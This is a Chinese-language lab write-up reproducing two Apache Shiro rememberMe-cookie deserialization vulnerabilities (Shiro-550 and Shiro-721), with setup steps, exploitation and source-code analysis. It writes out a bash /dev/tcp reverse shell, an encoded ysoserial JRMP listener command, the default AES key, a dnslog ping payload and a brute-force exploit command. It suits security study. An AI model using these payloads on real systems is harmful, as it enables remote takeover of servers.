漏洞复现-shiro
漏洞复现-shiro
y2xsecShiro
Apache Shiro 是一个强大易用的Java安全框架,提供了认证、授权、加密和会话管理等功能,Shiro框架直观、易用、同时也能提供健壮的安全性。
CVE-2016-4437
参考文章:
2、https://blog.csdn.net/qq_44769520/article/details/123476443
Shiro-550反序列化漏洞
0x01 环境搭建
环境搭建可选择在本地搭建,也可以用docker搭建,这里我是在ubuntu虚拟机里搭建的。
首先准备环境需要的一些东西:
tomcat 8.5.76:https://tomcat.apache.org/
jdk-11.0.9:https://www.oracle.com/cn/java/technologies/javase/jdk11-archive-downloads.html
maven-3.6.3:https://archive.apache.org/dist/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
shiro源码:https://github.com/apache/shiro
shiro war包下载:https://github.com/jas502n/SHIRO-550
ysoserial:https://github.com/frohoff/ysoserial
shiroattack2:https://github.com/SummerSec/ShiroAttack2
关于war包建议在本地自行编译,配置好java,下载好shiro源码。下面是在虚拟机里搭建shiro。
本次使用jdk1.6 + maven-3.2.5,如果maven版本高于3.2.5,jdk1.6是不支持的。
下载好shiro源码后,进入shiro文件下,切换分支:
1 | git checkout shiro-root-1.2.4 |
进入shiro/samples/web
下有一个pom.xml
文件,修改如下:
1 | <dependency> |
使用maven进行war包编译
1 | // 下载mvn的命令 |
cd samples/web
mvn install
编译成功后就会在当前目录生成一个target目录,里面就有war文件
将生成的war包放在tomcat的webapps目录下
如果出现报错:[ERROR] Cannot find matching toolchain definitions for the following toolchain types:jdk [ vendor='sun' version='1.6' ]
需要将maven的conf目录下的toolchains.xml
文件移至~/.m2/
下(windows则需要移至C:\USER\
下)
1 | <toolchain> |
然后进入tomcat的bin目录下启动tomcat
1 | ./startup.sh |
访问172.16.12.131:8080/samples-web-1.2.4/
0x02 漏洞复现
1、反弹shell
kali-ip:172.16.12.129
ubu-ip:172.16.12.131
访问网站后抓包,然后在kali机上开启三个终端
(1)nc监听端口
1 | nc -lvvp 8989 |
(2)ysoserial的JRMP监听模块,监听6789端口并执行反弹shell命令,利用java runtime先生成bash编码:
java.lang.Runtime.exec网站:https://loadcaps.com/runtime-exec-payloads/#java-lang-Runtime-exec
1 | bash -i >& /dev/tcp/172.16.12.129/8989 0>&1 |
再利用ysoserial监听:
1 | java -cp ysoserial-all.jar ysoserial.exploit.JRMPListener 6789 CommonsCollections4 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTIuMTI5Lzg5ODkgMD4mMQ==}|{base64,-d}|{bash,-i}' |
(3)生成伪造cookie
伪造cookie代码如下:
1 | import sys |
执行命令
1 | python shiro.py 172.16.12.129:6789 |
将抓到的包在cookie字段添加刚刚生成的rememberMe
然后发包,查看监听终端
反弹shell
2、工具利用
工具地址shiroattack2:https://github.com/SummerSec/ShiroAttack2
下载后打开输入url:172.16.12.131:8080
。
默认密钥是:kPH+bIxk5D2deZiIxcaaaA==
(下文的漏洞原理会讲到为什么是这个密钥)
然后点击爆破利用链。
爆破完后就可以在命令执行执行命令了
0x03 漏洞原理
根据漏洞描述,Shiro≤1.2.4版本默认使用CookieRememberMeManager
,当获取用户请求时,大致的关键处理过程如下:
获取Cookie中rememberMe的值
对rememberMe进行Base64解码
使用AES进行解密
对解密的值进行反序列化
由于AES加密的Key是硬编码的默认Key,因此攻击者可通过使用默认的Key对恶意构造的序列化数据进行加密,当CookieRememberMeManager
对恶意的rememberMe
进行以上过程处理时,最终会对恶意数据进行反序列化,从而导致反序列化漏洞。
1、加密过程
在org/apache/shiro/mgt/DefaultSecurityManager.java
代码的rememberMeSuccessfulLogin
方法下断点。
跟进onSuccessfulLogin
方法,具体实现代码在AbstractRememberMeManager.java
。
1 | public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info) { |
调用forgetIdentity
方法对subject
进行处理,subject
对象表示单个用户的状态和安全操作,包含认证、授权等( http://shiro.apache.org/static/1.6.0/apidocs/org/apache/shiro/subject/Subject.html
)。继续跟进forgetIdentity方法,getCookie方法获取请求的cookie,接着会进入到removeFrom方法。
removeForm
主要在response
头部添加Set-Cookie: rememberMe=deleteMe
然后再回到onSuccessfulLogin
方法中,如果设置rememberMe
则进入rememberIdentity
。
rememberIdentity
方法代码中,调用convertPrincipalsToBytes
对用户名进行处理。
1 | protected void rememberIdentity(Subject subject, PrincipalCollection accountPrincipals) { |
进入convertPrincipalsToBytes
,调用serialize
对用户名进行处理。
1 | protected byte[] convertPrincipalsToBytes(PrincipalCollection principals) { |
跟进serialize
方法来到org/apache/shiro/io/DefaultSerializer.java
,很明显这里对用户名进行了序列化。
再回到convertPrincipalsToBytes
,接着对序列化的数据进行加密,跟进encrypt
方法。加密算法为AES,模式为CBC,填充算法为PKCS5Padding
。
getEncryptionCipherKey
获取加密的密钥,在AbstractRememberMeManager.java
定义了默认的加密密钥为kPH+bIxk5D2deZiIxcaaaA==
。
加密完成后,继续回到rememberIdentity
,跟进rememberSerializedIdentity
方法。
对加密的bytes进行base64编码,保存在cookie中。至此,加密的流程基本就分析完了。
2、解密过程
对cookie中rememberMe
的解密代码也是在AbstractRememberMeManager.java
中实现。直接在getRememberedPrincipals
下断点。
getRememberedSerializedIdentity
返回cookie中rememberMe
的base64解码后的bytes。
继续调用convertBytesToPrincipals
方法对解码后的bytes处理,跟进convertBytesToPrincipals
方法,调用decrypt
方法对bytes进行解密。
1 | protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) { |
解密后得到的结果为序列化字符串的bytes。
然后进入到deserialize
方法进行反序列化,即用户可控的rememberMe
值经过解密后进行反序列化从而引发反序列化漏洞。这里需要注意的是Shiro并不是使用原生的反序列化,而是重写了ObjectInputStream
。
CVE-2019-12422
shiro-721反序列化漏洞
0x01 环境搭建
tomcat 8.5.76:https://tomcat.apache.org/
jdk-1.8:https://www.oracle.com/java/technologies/downloads/#java8
maven-3.6.3:https://archive.apache.org/dist/maven/maven-3/3.6.3/binaries/apache-maven-3.6.3-bin.tar.gz
ysoserial:https://github.com/frohoff/ysoserial
shiroattack2:https://github.com/SummerSec/ShiroAttack2
shiro_rce:https://github.com/wuppp/shiro_rce_exp
shiroexploit:https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/download/v2.51/ShiroExploit.V2.51.7z
shiro源码:https://github.com/apache/shiro
搭建的环境:jdk1.8 + maven-3.6.3
进入shiro
源码,切换分支。然后直接编译:
1 | cd shiro |
同样是cd到samples/web
文件下,不用修改pom.xml
文件,直接执行命令
1 | mvn install |
就会在当前目录生成一个target
文件
cd进入后有一个samples-web-1.4.1.war
文件,然后将samples-web-1.4.1.war
文件移到tomcat
的webapps
目录下即可
1 | mv samples-web-1.4.1.war /opt/tomcat/webapps |
最后进入tomcat的bin目录下,启动tomcat
1 | cd /opt/tomcat/bin |
访问http://172.16.12.131:8080/samples-web-1.4.1/
0x02 漏洞复现
1、漏洞测试
因为这个漏洞需要爆破密钥,所以很多命令需要等,但是时间过于长,就没有去实现。这里就简单的测试一下是否存在漏洞。
登录页面登录后,进入account下抓包
记录下cookie
的rememberMe
值
进入dnslog
网站随机生成一个地址,然后利用ysoserial
利用链测试
1 | java -jar ysoserial-all.jar CommonsBeanutils1 "ping ff29f8b476.ipv6.1433.eu.org." > payload.class |
再利用shiro_rce.py
文件对生成payload.class
文件进行爆破
1 | python shiro_exp.py http://172.16.12.131:8080/samples-web-1.4.1/account/ sGrn76lUblrAGOWG9GaajuI8/b6YYE2YpTytdX1iiN8t4GY31PmHJ58RIEkd57NZsNiM2hjeeV12IZyrfMGy/gOHhb2wbe80izs53I4Z9o6cMmRDAXFQ4RwHk9z6eDvh4Vy8HUlbCjuyUDedfDrQNhivbnwEEyzvV6ykoL4Kr/W9XzrhU1HDv3+zZFPYYYzIYYyl//8zUwYYEM6tdFUtljVhYSGsczDBQqfsscqpJvaziu9HbsdzKLdXwTTJlCrl9xMKymXRKg2JKY3R87C1fZ/MbT5CrnQfREJCZd7nJdrlk6q531Z4HlYTUFcUGFqf696L0lGoWHrNG7OueAE/V9qrlRT/z2m4/ywM/fly5N52zdg1HTufqMX5jaT2sQuFh/89E5ch0tKvV1sH0Id9sr+sfeXEuNGE5QpWjHyKQgMlW7iEFm5YbwDEE4AnyAghjoivC005bkgcd9mZSXc5zBpe9xrBz2wsm1cBF9F6Vyd8qEjYf2x4E8rrl3O582h3 payload.class |
漫长的等待。。。(等个一小时)
然后把爆破出来的rememberMe值重新发包
最后就是dnslog得到响应
2、工具利用
检测工具下载 :
1 | git clone https://github.com/wuppp/shiro_rce_exp.git |
先在登录页面登录然后bp抓包,repeater模块send后拿到响应的cookie值
打开工具,设置参数
运行爆破,出现+
证明存在漏洞
利用工具就还是shiroattack2,同样的设置参数,然后到执行窗口执行即可
0x03 漏洞原理
漏洞的原理可以先了解一下什么是Padding Oracle Attack。
参考文章:https://blog.csdn.net/weixin_44604541/article/details/117810335
搞懂的Padding Oracle Attack后,接下来就是对代码进行一个分析